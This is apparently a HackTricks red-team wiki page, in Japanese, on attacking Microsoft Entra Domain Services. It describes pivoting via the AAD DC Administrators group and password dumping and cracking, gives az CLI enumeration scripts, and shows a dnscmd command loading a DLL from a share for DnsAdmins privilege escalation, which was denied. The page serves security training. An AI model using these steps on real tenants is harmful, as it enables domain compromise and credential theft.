Az - Microsoft Entra Domain Services

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Domain Services

Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします(実際、あなたはそれらにアクセスすることすらできません)。

その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリのルックアップが常にオンプレミスのAD DS環境に戻ることを望まない場合です。

Entra IDで生成されたユーザー(他のアクティブディレクトリから同期されていない)をADドメインサービスに同期するには、ユーザーのパスワードを新しいものに変更する必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。

warning

新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできません(いくつかの誤設定を悪用しない限り)。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーはEntra IDからのユーザーの同期によって作成されます。 すべてのユーザー(他のオンプレミスADから同期されたユーザーを含む)、クラウドユーザー(Entra IDで作成されたユーザー)のみ、またはさらにフィルタリングすることもできます。

note

一般的に、新しいドメインの構成の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。

Pivoting

生成された**AAD DC Administrators**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限を付与されます(ただし、ドメインコントローラーにはありません)。このグループのメンバーは、リモートデスクトップを使用してドメイン参加しているVMにリモート接続することもできます。また、次のグループのメンバーでもあります:

  • Denied RODC Password Replication Group: これは、RODC(読み取り専用ドメインコントローラー)にパスワードをキャッシュできないユーザーとグループを指定するグループです。
  • Group Policy Creators Owners: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではそれほど興味深くはありません。
  • DnsAdmins: このグループはDNS設定を管理することを可能にし、過去には特権を昇格させてドメインを妥協するために悪用されました。ただし、この環境で攻撃をテストした結果、脆弱性は修正されていることが確認されました。
text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll

DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed:  ERROR_ACCESS_DENIED     5    0x5

注意すべきは、これらの権限を付与するために、AD内でグループ AAD DC Administrators が前述のグループのメンバーに追加され、またGPO AADDC Computers GPO がドメイングループ AAD DC Administrators のすべてのメンバーをローカル管理者として追加していることです。

Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ AAD DC Administrators にユーザーを追加し、ドメイン内の任意のマシンにRDPでアクセスすれば、データを盗むことができ、さらに ドメインを侵害することができます。

しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインの情報はEntra IDに同期されていません。ただし、すべてのVMに割り当てられたマネージドIDが興味深い権限を持っている可能性があるため、メタデータを常に確認してください。また、ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。

note

過去にこの管理されたADにおいて、DCを侵害することを可能にする他の脆弱性が見つかったことに注意してください、このようなもの。DCを侵害した攻撃者は、Azure管理者が気づかず、またはそれを削除できないまま、非常に簡単に持続性を維持することができます。

列挙

bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
--url "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2021-03-01" \
--body '{
"subscriptions": [
"0ce1297c-9153-425d-3229-f51093614377"
],
"query": "resources | where type == \"microsoft.aad/domainservices\"",
"options": {
"$top": 16,
"$skip": 0,
"$skipToken": ""
}
}'

# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"

# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

subscription_id="0ce1297c-9153-425d-3229-f51093614377"
vnet_name="aadds-vnet"

# Retrieve all VMs in the subscription
vm_list=$(az vm list --subscription "$subscription_id" --query "[].{Name:name, ResourceGroup:resourceGroup}" --output tsv)

# Iterate through each VM to check their VNet connection
echo "VMs connected to VNet '$vnet_name':"
while IFS=$'\t' read -r vm_name resource_group; do
nic_ids=$(az vm show --subscription "$subscription_id" --name "$vm_name" --resource-group "$resource_group" --query "networkProfile.networkInterfaces[].id" --output tsv)

for nic_id in $nic_ids; do
subnet_id=$(az network nic show --ids "$nic_id" --query "ipConfigurations[0].subnet.id" --output tsv)

if [[ $subnet_id == *"virtualNetworks/$vnet_name"* ]]; then
echo "VM Name: $vm_name, Resource Group: $resource_group"
fi
done
done <<< "$vm_list"

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする